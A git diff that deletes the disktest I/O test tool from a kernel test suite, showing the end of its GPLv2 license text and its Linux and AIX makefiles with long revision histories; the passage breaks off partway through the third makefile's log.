-      Everyone is permitted to copy and distribute verbatim copies
-      of this license document, but changing it is not allowed.
-
-      Preamble
-
-      The licenses for most software are designed to take away your freedom to
-      share and change it. By contrast, the GNU General Public License is
-      intended to guarantee your freedom to share and change free software--to
-      make sure the software is free for all its users. This General Public
-      License applies to most of the Free Software Foundation's software and to
-      any other program whose authors commit to using it. (Some other Free
-      Software Foundation software is covered by the GNU Library General Public
-      License instead.) You can apply it to your programs, too.
-
-      When we speak of free software, we are referring to freedom, not price.
-      Our General Public Licenses are designed to make sure that you have the
-      freedom to distribute copies of free software (and charge for this service
-      if you wish), that you receive source code or can get it if you want it,
-      that you can change the software or use pieces of it in new free programs;
-      and that you know you can do these things.
-
-      To protect your rights, we need to make restrictions that forbid anyone to
-      deny you these rights or to ask you to surrender the rights. These
-      restrictions translate to certain responsibilities for you if you
-      distribute copies of the software, or if you modify it.
-
-      For example, if you distribute copies of such a program, whether gratis or
-      for a fee, you must give the recipients all the rights that you have. You
-      must make sure that they, too, receive or can get the source code. And you
-      must show them these terms so they know their rights.
-
-      We protect your rights with two steps: (1) copyright the software, and (2)
-      offer you this license which gives you legal permission to copy,
-      distribute and/or modify the software.
-
-      Also, for each author's protection and ours, we want to make certain that
-      everyone understands that there is no warranty for this free software. If
-      the software is modified by someone else and passed on, we want its
-      recipients to know that what they have is not the original, so that any
-      problems introduced by others will not reflect on the original authors'
-      reputations.
-
-      Finally, any free program is threatened constantly by software patents. We
-      wish to avoid the danger that redistributors of a free program will
-      individually obtain patent licenses, in effect making the program
-      proprietary. To prevent this, we have made it clear that any patent must
-      be licensed for everyone's free use or not licensed at all.
-
-      The precise terms and conditions for copying, distribution and
-      modification follow.
-
-      TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-      0. This License applies to any program or other work which contains a
-      notice placed by the copyright holder saying it may be distributed under
-      the terms of this General Public License. The "Program", below, refers to
-      any such program or work, and a "work based on the Program" means either
-      the Program or any derivative work under copyright law: that is to say, a
-      work containing the Program or a portion of it, either verbatim or with
-      modifications and/or translated into another language. (Hereinafter,
-      translation is included without limitation in the term "modification".)
-      Each licensee is addressed as "you".
-
-      Activities other than copying, distribution and modification are not
-      covered by this License; they are outside its scope. The act of running
-      the Program is not restricted, and the output from the Program is covered
-      only if its contents constitute a work based on the Program (independent
-      of having been made by running the Program). Whether that is true depends
-      on what the Program does.
-
-      1. You may copy and distribute verbatim copies of the Program's source
-      code as you receive it, in any medium, provided that you conspicuously and
-      appropriately publish on each copy an appropriate copyright notice and
-      disclaimer of warranty; keep intact all the notices that refer to this
-      License and to the absence of any warranty; and give any other recipients
-      of the Program a copy of this License along with the Program.
-
-      You may charge a fee for the physical act of transferring a copy, and you
-      may at your option offer warranty protection in exchange for a fee.
-
-      2. You may modify your copy or copies of the Program or any portion of it,
-      thus forming a work based on the Program, and copy and distribute such
-      modifications or work under the terms of Section 1 above, provided that
-      you also meet all of these conditions:
-
-        a) You must cause the modified files to carry prominent notices stating
-        that you changed the files and the date of any change.
-
-        b) You must cause any work that you distribute or publish, that in whole
-        or in part contains or is derived from the Program or any part thereof,
-        to be licensed as a whole at no charge to all third parties under the
-        terms of this License.
-
-        c) If the modified program normally reads commands interactively when
-        run, you must cause it, when started running for such interactive use in
-        the most ordinary way, to print or display an announcement including an
-        appropriate copyright notice and a notice that there is no warranty (or
-        else, saying that you provide a warranty) and that users may
-        redistribute the program under these conditions, and telling the user
-        how to view a copy of this License. (Exception: if the Program itself is
-        interactive but does not normally print such an announcement, your work
-        based on the Program is not required to print an announcement.)
-
-      These requirements apply to the modified work as a whole. If identifiable
-      sections of that work are not derived from the Program, and can be
-      reasonably considered independent and separate works in themselves, then
-      this License, and its terms, do not apply to those sections when you
-      distribute them as separate works. But when you distribute the same
-      sections as part of a whole which is a work based on the Program, the
-      distribution of the whole must be on the terms of this License, whose
-      permissions for other licensees extend to the entire whole, and thus to
-      each and every part regardless of who wrote it.
-
-      Thus, it is not the intent of this section to claim rights or contest your
-      rights to work written entirely by you; rather, the intent is to exercise
-      the right to control the distribution of derivative or collective works
-      based on the Program.
-
-      In addition, mere aggregation of another work not based on the Program
-      with the Program (or with a work based on the Program) on a volume of a
-      storage or distribution medium does not bring the other work under the
-      scope of this License.
-
-      3. You may copy and distribute the Program (or a work based on it, under
-      Section 2) in object code or executable form under the terms of Sections 1
-      and 2 above provided that you also do one of the following:
-
-        a) Accompany it with the complete corresponding machine-readable source
-        code, which must be distributed under the terms of Sections 1 and 2
-        above on a medium customarily used for software interchange; or,
-
-        b) Accompany it with a written offer, valid for at least three years, to
-        give any third party, for a charge no more than your cost of physically
-        performing source distribution, a complete machine-readable copy of the
-        corresponding source code, to be distributed under the terms of Sections
-        1 and 2 above on a medium customarily used for software interchange; or,
-
-        c) Accompany it with the information you received as to the offer to
-        distribute corresponding source code. (This alternative is allowed only
-        for noncommercial distribution and only if you received the program in
-        object code or executable form with such an offer, in accord with
-        Subsection b above.)
-
-      The source code for a work means the preferred form of the work for making
-      modifications to it. For an executable work, complete source code means
-      all the source code for all modules it contains, plus any associated
-      interface definition files, plus the scripts used to control compilation
-      and installation of the executable. However, as a special exception, the
-      source code distributed need not include anything that is normally
-      distributed (in either source or binary form) with the major components
-      (compiler, kernel, and so on) of the operating system on which the
-      executable runs, unless that component itself accompanies the executable.
-
-      If distribution of executable or object code is made by offering access to
-      copy from a designated place, then offering equivalent access to copy the
-      source code from the same place counts as distribution of the source code,
-      even though third parties are not compelled to copy the source along with
-      the object code.
-
-      4. You may not copy, modify, sublicense, or distribute the Program except
-      as expressly provided under this License. Any attempt otherwise to copy,
-      modify, sublicense or distribute the Program is void, and will
-      automatically terminate your rights under this License. However, parties
-      who have received copies, or rights, from you under this License will not
-      have their licenses terminated so long as such parties remain in full
-      compliance.
-
-      5. You are not required to accept this License, since you have not signed
-      it. However, nothing else grants you permission to modify or distribute
-      the Program or its derivative works. These actions are prohibited by law
-      if you do not accept this License. Therefore, by modifying or distributing
-      the Program (or any work based on the Program), you indicate your
-      acceptance of this License to do so, and all its terms and conditions for
-      copying, distributing or modifying the Program or works based on it.
-
-      6. Each time you redistribute the Program (or any work based on the
-      Program), the recipient automatically receives a license from the original
-      licensor to copy, distribute or modify the Program subject to these terms
-      and conditions. You may not impose any further restrictions on the
-      recipients' exercise of the rights granted herein. You are not responsible
-      for enforcing compliance by third parties to this License.
-
-      7. If, as a consequence of a court judgment or allegation of patent
-      infringement or for any other reason (not limited to patent issues),
-      conditions are imposed on you (whether by court order, agreement or
-      otherwise) that contradict the conditions of this License, they do not
-      excuse you from the conditions of this License. If you cannot distribute
-      so as to satisfy simultaneously your obligations under this License and
-      any other pertinent obligations, then as a consequence you may not
-      distribute the Program at all. For example, if a patent license would not
-      permit royalty-free redistribution of the Program by all those who receive
-      copies directly or indirectly through you, then the only way you could
-      satisfy both it and this License would be to refrain entirely from
-      distribution of the Program.
-
-      If any portion of this section is held invalid or unenforceable under any
-      particular circumstance, the balance of the section is intended to apply
-      and the section as a whole is intended to apply in other circumstances.
-
-      It is not the purpose of this section to induce you to infringe any
-      patents or other property right claims or to contest validity of any such
-      claims; this section has the sole purpose of protecting the integrity of
-      the free software distribution system, which is implemented by public
-      license practices. Many people have made generous contributions to the
-      wide range of software distributed through that system in reliance on
-      consistent application of that system; it is up to the author/donor to
-      decide if he or she is willing to distribute software through any other
-      system and a licensee cannot impose that choice.
-
-      This section is intended to make thoroughly clear what is believed to be a
-      consequence of the rest of this License.
-
-      8. If the distribution and/or use of the Program is restricted in certain
-      countries either by patents or by copyrighted interfaces, the original
-      copyright holder who places the Program under this License may add an
-      explicit geographical distribution limitation excluding those countries,
-      so that distribution is permitted only in or among countries not thus
-      excluded. In such case, this License incorporates the limitation as if
-      written in the body of this License.
-
-      9. The Free Software Foundation may publish revised and/or new versions of
-      the General Public License from time to time. Such new versions will be
-      similar in spirit to the present version, but may differ in detail to
-      address new problems or concerns.
-
-      Each version is given a distinguishing version number. If the Program
-      specifies a version number of this License which applies to it and "any
-      later version", you have the option of following the terms and conditions
-      either of that version or of any later version published by the Free
-      Software Foundation. If the Program does not specify a version number of
-      this License, you may choose any version ever published by the Free
-      Software Foundation.
-
-      10. If you wish to incorporate parts of the Program into other free
-      programs whose distribution conditions are different, write to the author
-      to ask for permission. For software which is copyrighted by the Free
-      Software Foundation, write to the Free Software Foundation; we sometimes
-      make exceptions for this. Our decision will be guided by the two goals of
-      preserving the free status of all derivatives of our free software and of
-      promoting the sharing and reuse of software generally.
-
-      NO WARRANTY
-
-      11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-      FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-      OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-      PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-      OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-      MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-      TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-      PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-      REPAIR OR CORRECTION.
-
-      12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-      WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-      REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-      INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES
-      ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT
-      LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES
-      SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
-      WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN
-      ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
-
-      END OF TERMS AND CONDITIONS
-
-
diff --git a/testcases/kernel/io/disktest/Makefile b/testcases/kernel/io/disktest/Makefile
deleted file mode 100644
index 3a3a9cb..0000000
--- a/testcases/kernel/io/disktest/Makefile
+++ /dev/null
@@ -1,230 +0,0 @@
-#
-# Disktest Makefile
-# Copyright (c) International Business Machines Corp., 2001
-#
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-#
-#  Please send e-mail to yardleyb@us.ibm.com if you have
-#  questions or comments.
-#
-#  Project Website:  TBD
-#
-#
-# $Id: Makefile,v 1.13 2009/11/06 20:07:30 vapier Exp $
-# $Log: Makefile,v $
-# Revision 1.13  2009/11/06 20:07:30  vapier
-# drop adding of -O/-W type flags that are already handled in common .mk files
-#
-# for the few makefiles that arent yet converted to the .mk infrastructure:
-# Lately gcc developers introduced -Wextra flag that does the same as -W but is
-# more descriptive. According to this using -W flag should be safe (as gcc is
-# backward compatlible) but using -Wextra is limited to newer gcc releases.
-#
-# Attached patch replaces all -Wextra occurences with -W and thus fixes
-# compliation failures with older gcc (mine was gcc-3.3.3 on sles).
-#
-# patch by Cyril Hrubis
-#
-# Revision 1.12  2009/10/09 17:55:48  yaberauneya
-# 1. Please see README.mk-devel for a full description of the changes
-# from a Make perspective.
-# 2. Several files were changed to accomodate correct installation
-# practices, most notably ones in testcases/network/{ipv6,tcp_cmds},
-# testcases/kernel/sched/hyperthreading/ht_enabled/..., and some items
-# in tools/..., and also to avoid collisions as far as installed
-# testcases (scripts, compiled C apps) were concerned.
-# 3. Several apps weren't autoconf safe and some autoconf tests and
-# conditional statements have been placed in sourcecode and in Makefiles
-# to either a) prevent the tests from being built / installed or b) turn
-# the tests into dummy apps which print out TCONF messages due to
-# lack-of-build support.
-#
-# Signed-off-by: Ngie Cooper <yaneurabeya@gmail.com>
-#
-# Revision 1.11  2008/02/14 08:22:22  subrata_modak
-# Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-#
-# Revision 1.31  2008/02/07 15:43:37  yardleyb
-# Applied patch from Mike Frysinger to ensure Makefile properly respect CFLAGS/LDFLAGS
-#
-# Revision 1.30  2006/10/19 20:01:48  yardleyb
-# changes made to support rpm builds
-#
-# Revision 1.29  2006/10/19 17:30:27  yardleyb
-# Added basic signal handling.
-#
-# Revision 1.28  2006/05/12 19:44:47  yardleyb
-# added CHANGELOG to distro
-# uninstall does not force a build
-#
-# Revision 1.27  2005/10/12 23:13:35  yardleyb
-# Updates to code to support new function in disktest version 1.3.x.
-# Actual changes are recorded in the README
-#
-# Revision 1.26  2004/12/18 06:13:03  yardleyb
-# Updated timer schema to more accurately use the time options.  Added
-# fsync on write option to -If.
-#
-# Revision 1.25  2004/12/17 06:34:56  yardleyb
-# removed -mf -ml.  These mark options cause to may issues when using
-# random block size transfers.  Fixed -ma option for endian-ness.  Fixed
-# false data misscompare during multiple cycles.
-#
-# Revision 1.24  2004/11/20 04:43:42  yardleyb
-# Minor code fixes.  Checking for alloc errors.
-#
-# Revision 1.23  2004/11/19 21:45:12  yardleyb
-# Fixed issue with code added for -F option.  Cased disktest
-# to SEG FAULT when cleaning up threads.
-#
-# Revision 1.22  2004/11/19 03:47:45  yardleyb
-# Fixed issue were args data was not being copied from a
-# clean source.
-#
-# Revision 1.21  2004/11/02 20:47:13  yardleyb
-# Added -F functions.
-# lots of minor fixes. see README
-#
-# Revision 1.20  2003/09/12 21:23:56  yardleyb
-# Updated version to 1.12
-#
-# Revision 1.19  2003/01/13 21:33:31  yardleyb
-# Added code to detect AIX volume size.
-# Updated mask for random LBA to use start_lba offset
-# Updated version to 1.1.10
-#
-# Revision 1.18  2002/05/31 18:48:50  yardleyb
-# Updated version to 1.1.9
-#
-# Revision 1.17  2002/04/24 01:59:45  yardleyb
-# Update to version v1.1.3
-#
-# Revision 1.16  2002/04/02 00:11:04  yardleyb
-# Corrected -D for each OS type
-#
-# Revision 1.15  2002/04/01 20:05:26  yardleyb
-# Modified Makefiles for linux,
-# Created Makefiles for windows/aix
-#
-# Revision 1.14  2002/03/07 03:38:52  yardleyb
-# Added dump function from command
-# line.  Created formatted dump output
-# for Data miscomare and command line.
-# Can now leave off filespec the full
-# path header as it will be added based
-# on -I.
-#
-# Revision 1.13  2002/02/28 04:25:45  yardleyb
-# reworked threading code
-# made locking code a macro.
-#
-# Revision 1.12  2002/02/26 19:35:59  yardleyb
-# Updates to parsing routines for user
-# input.  Added multipliers for -S and
-# -s command line arguments. Forced
-# default seeks to default if performing
-# a diskcache test.
-#
-# Revision 1.11  2002/02/21 21:42:15  yardleyb
-# Updated distro for man1
-#
-# Revision 1.10  2002/02/21 21:34:16  yardleyb
-# Cleaned up make dependancies
-# added install and uninstall
-#
-# Revision 1.9  2002/02/21 01:00:50  yardleyb
-# Added README and directory
-# structure to distro
-#
-# Revision 1.8  2002/02/19 02:46:37  yardleyb
-# Added changes to compile for AIX.
-# Update getvsiz so it returns a -1
-# if the ioctl fails and we handle
-# that fact correctly.  Added check
-# to force vsiz to always be greater
-# then stop_lba.
-#
-# Revision 1.7  2001/12/04 19:00:33  yardleyb
-# Updated to add new files and
-# filename changes
-#
-# Revision 1.6  2001/10/10 00:17:14  yardleyb
-# Added Copyright and GPL license text.
-# Miner bug fixes throughout text.
-#
-# Revision 1.5  2001/09/22 03:29:51  yardleyb
-# Added dependence on main.o for sfunc.h usage.h header files
-#
-# Revision 1.4  2001/09/10 22:14:27  yardleyb
-# Added clean up for tar file. Included man page in distro
-#
-# Revision 1.3  2001/09/06 18:23:30  yardleyb
-# Added duty cycle -D.  Updated usage. Added
-# make option to create .tar.gz of all files
-#
-# Revision 1.2  2001/09/05 22:44:42  yardleyb
-# Split out some of the special functions.
-# added O_DIRECT -Id.  Updated usage.  Lots
-# of clean up to functions.  Added header info
-# to pMsg.
-#
-# Revision 1.1  2001/09/04 19:28:07  yardleyb
-# Split usage out. Split header out.  Added usage text.
-# Made signal handler one function. code cleanup.
-#
-
-# 1. -D_LARGE_FILES is used in AIX to support 64bit functions and data types.
-# 2. For Linux:
-#     i.  -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 is used in to support
-#         64-bit functions and data types.
-#     ii. -D_GNU_SOURCE is to support Linux O_DIRECT.
-#
-#    i. and ii. are typically taken from rpm, but, if not, are defined here.
-#
-
-top_srcdir	?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-VER		:= `grep VER_STR $(abs_srcdir)/main.h | awk -F\" '{print $$2}'`
-
-CPPFLAGS	+= -DLINUX -D_THREAD_SAFE -D_GNU_SOURCE -D_LARGE_FILES -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 $(RPM_OPT_FLAGS)
-
-DISTRO_FILES	:= Makefile* *.[ch] LICENSE README CHANGELOG
-
-LDLIBS		+= -lpthread
-
-MAKE_TARGETS	:= disktest
-
-OBJS		:= $(patsubst $(abs_srcdir)/%.c,%.o,$(sort $(wildcard $(abs_srcdir)/*.c)))
-
-disktest-$(VER):
-	mkdir -p "$@"
-
-disktest: $(OBJS)
-	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) $(OUTPUT_OPTION)
-
-all-clean: clean
-	$(RM) -rf *~ *tar* *zip* disktest-$(VER)
-
-distro: all-clean | disktest-$(VER)
-	mkdir -p disktest-$(VER)/man1
-	cp $(addprefix $(abs_srcdir)/,$(DISTRO_FILES)) disktest-$(VER)/.
-	install -m 00444 $(abs_srcdir)/man1/disktest.1 disktest-$(VER)/man1
-	gzip disktest-$(VER)/man1/disktest.1
-	tar -cvzf disktest-$(VER).tar.gz disktest-$(VER)
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/io/disktest/Makefile.aix b/testcases/kernel/io/disktest/Makefile.aix
deleted file mode 100644
index 3dcb52f..0000000
--- a/testcases/kernel/io/disktest/Makefile.aix
+++ /dev/null
@@ -1,185 +0,0 @@
-#
-# Disktest Makefile
-# Copyright (c) International Business Machines Corp., 2001
-#
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-#
-#  Please send e-mail to yardleyb@us.ibm.com if you have
-#  questions or comments.
-#
-#  Project Website:  TBD
-#
-#
-# $Id: Makefile.aix,v 1.3 2008/02/14 08:22:22 subrata_modak Exp $
-# $Log: Makefile.aix,v $
-# Revision 1.3  2008/02/14 08:22:22  subrata_modak
-# Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-#
-# Revision 1.10  2006/10/19 17:30:27  yardleyb
-# Added basic signal handling.
-#
-# Revision 1.9  2006/05/12 19:44:47  yardleyb
-# added CHANGELOG to distro
-# uninstall does not force a build
-#
-# Revision 1.8  2005/10/12 23:13:35  yardleyb
-# Updates to code to support new function in disktest version 1.3.x.
-# Actual changes are recorded in the README
-#
-# Revision 1.7  2005/06/02 20:16:19  yardleyb
-# Added changes for aix make
-#
-# Revision 1.6  2004/11/20 04:43:42  yardleyb
-# Minor code fixes.  Checking for alloc errors.
-#
-# Revision 1.5  2004/11/19 21:45:12  yardleyb
-# Fixed issue with code added for -F option.  Cased disktest
-# to SEG FAULT when cleaning up threads.
-#
-# Revision 1.4  2003/01/13 21:33:31  yardleyb
-# Added code to detect AIX volume size.
-# Updated mask for random LBA to use start_lba offset
-# Updated version to 1.1.10
-#
-# Revision 1.3  2002/04/24 01:59:45  yardleyb
-# Update to version v1.1.3
-#
-# Revision 1.2  2002/04/02 00:11:04  yardleyb
-# Corrected -D for each OS type
-#
-# Revision 1.1  2002/04/01 20:05:26  yardleyb
-# Modified Makefiles for linux,
-# Created Makefiles for windows/aix
-#
-# Revision 1.14  2002/03/07 03:38:52  yardleyb
-# Added dump function from command
-# line.  Created formatted dump output
-# for Data miscomare and command line.
-# Can now leave off filespec the full
-# path header as it will be added based
-# on -I.
-#
-# Revision 1.13  2002/02/28 04:25:45  yardleyb
-# reworked threading code
-# made locking code a macro.
-#
-# Revision 1.12  2002/02/26 19:35:59  yardleyb
-# Updates to parsing routines for user
-# input.  Added multipliers for -S and
-# -s command line arguments. Forced
-# default seeks to default if performing
-# a diskcache test.
-#
-# Revision 1.11  2002/02/21 21:42:15  yardleyb
-# Updated distro for man1
-#
-# Revision 1.10  2002/02/21 21:34:16  yardleyb
-# Cleaned up make dependancies
-# added install and uninstall
-#
-# Revision 1.9  2002/02/21 01:00:50  yardleyb
-# Added README and directory
-# structure to distro
-#
-# Revision 1.8  2002/02/19 02:46:37  yardleyb
-# Added changes to compile for AIX.
-# Update getvsiz so it returns a -1
-# if the ioctl fails and we handle
-# that fact correctly.  Added check
-# to force vsiz to always be greater
-# then stop_lba.
-#
-# Revision 1.7  2001/12/04 19:00:33  yardleyb
-# Updated to add new files and
-# filename changes
-#
-# Revision 1.6  2001/10/10 00:17:14  yardleyb
-# Added Copyright and GPL license text.
-# Miner bug fixes throughout text.
-#
-# Revision 1.5  2001/09/22 03:29:51  yardleyb
-# Added dependence on main.o for sfunc.h usage.h header files
-#
-# Revision 1.4  2001/09/10 22:14:27  yardleyb
-# Added clean up for tar file. Included man page in distro
-#
-# Revision 1.3  2001/09/06 18:23:30  yardleyb
-# Added duty cycle -D.  Updated usage. Added
-# make option to create .tar.gz of all files
-#
-# Revision 1.2  2001/09/05 22:44:42  yardleyb
-# Split out some of the special functions.
-# added O_DIRECT -Id.  Updated usage.  Lots
-# of clean up to functions.  Added header info
-# to pMsg.
-#
-# Revision 1.1  2001/09/04 19:28:07  yardleyb
-# Split usage out. Split header out.  Added usage text.
-# Made signal handler one function. code cleanup.
-#
-
-# -D "_LARGE_FILES" is used in AIX to support 64bit functions and data types
-# -D"_LARGEFILE64_SOURCE" -D"_FILE_OFFSET_BITS=64" is used in Linux to support 64bit functions and data types. -D"_GNU_SOURCE" is to support Linux O_DIRECT
-
-VER=v1.3.0
-GBLHDRS=main.h globals.h defs.h
-ALLHDRS=main.h sfunc.h parse.h childmain.h threading.h globals.h usage.h Getopt.h io.h dump.h timer.h stats.h signals.h
-SRCS=main.c sfunc.c parse.c childmain.c threading.c globals.c usage.c Getopt.c io.c dump.c timer.c stats.c signals.c
-OBJS=main.o sfunc.o parse.o childmain.o threading.o globals.o usage.o Getopt.o io.o dump.o timer.o stats.o signals.o
-
-CFLAGS= -O -D"AIX" -D"_THREAD_SAFE" -D"_GNU_SOURCE" -D"_LARGE_FILES" -D"_LARGEFILE64_SOURCE" -D"_FILE_OFFSET_BITS=64" -q64
-
-all: $(OBJS) disktest
-
-disktest: $(OBJS) $(SRCS) $(ALLHDRS)
-	$(CC) $(CFLAGS) -lpthread -odisktest $(OBJS)
-
-main.o: main.c $(ALLHDRS)
-sfunc.o: sfunc.c sfunc.h $(GBLHDRS)
-parse.o: parse.c parse.h sfunc.h $(GBLHDRS)
-childmain.o: childmain.c childmain.h sfunc.h parse.h threading.h $(GBLHDRS)
-threading.o: threading.c threading.h childmain.h sfunc.h $(GBLHDRS)
-globals.o: globals.c threading.h $(GBLHDRS)
-usage.o: usage.c usage.h
-Getopt.o: Getopt.c Getopt.h
-io.o: io.c io.h $(GBLHDRS)
-dump.o: dump.c dump.h $(GBLHDRS)
-stats.o: stats.c stats.h $(GBLHDRS)
-signals.o: signals.c signals.h $(GBLHDRS)
-
-install: disktest
-	cp disktest /usr/bin
-	cp man1/disktest.1.gz /usr/share/man/man1
-	gunzip /usr/share/man/man1/disktest.1.gz
-
-uninstall:
-	rm -f /usr/bin/disktest
-	rm -f /usr/share/man/man1/disktest.1
-
-clean:
-	rm -f disktest $(OBJS)
-
-all-clean: clean
-	rm -f *~ *tar* *zip*
-
-distro: all-clean
-	mkdir disktest.$(VER)
-	mkdir disktest.$(VER)/man1
-	cp ./Makefile ./*.[ch] ./LICENSE ./README ./CHANGELOG disktest.$(VER)
-	cp ./man1/disktest.1 disktest.$(VER)/man1
-	tar cvf ./disktest.$(VER).tar disktest.$(VER)
-	rm -rf disktest.$(VER)
-	gzip ./disktest.$(VER).tar
diff --git a/testcases/kernel/io/disktest/Makefile.linux b/testcases/kernel/io/disktest/Makefile.linux
deleted file mode 100644
index 0f3aab6..0000000
--- a/testcases/kernel/io/disktest/Makefile.linux
+++ /dev/null
@@ -1,212 +0,0 @@
-#
-# Disktest Makefile
-# Copyright (c) International Business Machines Corp., 2001
-#
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-#
-#  Please send e-mail to yardleyb@us.ibm.com if you have
-#  questions or comments.
-#
-#  Project Website:  TBD
-#
-#
-# $Id: Makefile.linux,v 1.4 2008/02/14 08:22:22 subrata_modak Exp $
-# $Log: Makefile.linux,v $
-# Revision 1.4  2008/02/14 08:22:22  subrata_modak
-# Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-#
-# Revision 1.31  2008/02/07 15:43:37  yardleyb
-# Applied patch from Mike Frysinger to ensure Makefile properly respect CFLAGS/LDFLAGS
-#
-# Revision 1.30  2006/10/19 20:01:48  yardleyb
-# changes made to support rpm builds
-#
-# Revision 1.29  2006/10/19 17:30:27  yardleyb
-# Added basic signal handling.
-#
-# Revision 1.28  2006/05/12 19:44:47  yardleyb
-# added CHANGELOG to distro
-# uninstall does not force a build
-#
-# Revision 1.27  2005/10/12 23:13:35  yardleyb
-# Updates to code to support new function in disktest version 1.3.x.
-# Actual changes are recorded in the README
-#
-# Revision 1.26  2004/12/18 06:13:03  yardleyb
-# Updated timer schema to more accurately use the time options.  Added
-# fsync on write option to -If.
-#
-# Revision 1.25  2004/12/17 06:34:56  yardleyb
-# removed -mf -ml.  These mark options cause to may issues when using
-# random block size transfers.  Fixed -ma option for endian-ness.  Fixed
-# false data misscompare during multiple cycles.
-#
-# Revision 1.24  2004/11/20 04:43:42  yardleyb
-# Minor code fixes.  Checking for alloc errors.
-#
-# Revision 1.23  2004/11/19 21:45:12  yardleyb
-# Fixed issue with code added for -F option.  Cased disktest
-# to SEG FAULT when cleaning up threads.
-#
-# Revision 1.22  2004/11/19 03:47:45  yardleyb
-# Fixed issue were args data was not being copied from a
-# clean source.
-#
-# Revision 1.21  2004/11/02 20:47:13  yardleyb
-# Added -F functions.
-# lots of minor fixes. see README
-#
-# Revision 1.20  2003/09/12 21:23:56  yardleyb
-# Updated version to 1.12
-#
-# Revision 1.19  2003/01/13 21:33:31  yardleyb
-# Added code to detect AIX volume size.
-# Updated mask for random LBA to use start_lba offset
-# Updated version to 1.1.10
-#
-# Revision 1.18  2002/05/31 18:48:50  yardleyb
-# Updated version to 1.1.9
-#
-# Revision 1.17  2002/04/24 01:59:45  yardleyb
-# Update to version v1.1.3
-#
-# Revision 1.16  2002/04/02 00:11:04  yardleyb
-# Corrected -D for each OS type
-#
-# Revision 1.15  2002/04/01 20:05:26  yardleyb
-# Modified Makefiles for linux,
-# Created Makefiles for windows/aix
-#
-# Revision 1.14  2002/03/07 03:38:52  yardleyb
-# Added dump function from command
-# line.  Created formatted dump output
-# for Data miscomare and command line.
-# Can now leave off filespec the full
-# path header as it will be added based
-# on -I.
-#
-# Revision 1.13  2002/02/28 04:25:45  yardleyb
-# reworked threading code
-# made locking code a macro.
-#
-# Revision 1.12  2002/02/26 19:35:59  yardleyb
-# Updates to parsing routines for user
-# input.  Added multipliers for -S and
-# -s command line arguments. Forced
-# default seeks to default if performing
-# a diskcache test.
-#
-# Revision 1.11  2002/02/21 21:42:15  yardleyb
-# Updated distro for man1
-#
-# Revision 1.10  2002/02/21 21:34:16  yardleyb
-# Cleaned up make dependancies
-# added install and uninstall
-#
-# Revision 1.9  2002/02/21 01:00:50  yardleyb
-# Added README and directory
-# structure to distro
-#
-# Revision 1.8  2002/02/19 02:46:37  yardleyb
-# Added changes to compile for AIX.
-# Update getvsiz so it returns a -1
-# if the ioctl fails and we handle
-# that fact correctly.  Added check
-# to force vsiz to always be greater
-# then stop_lba.
-#
-# Revision 1.7  2001/12/04 19:00:33  yardleyb
-# Updated to add new files and
-# filename changes
-#
-# Revision 1.6  2001/10/10 00:17:14  yardleyb
-# Added Copyright and GPL license text.
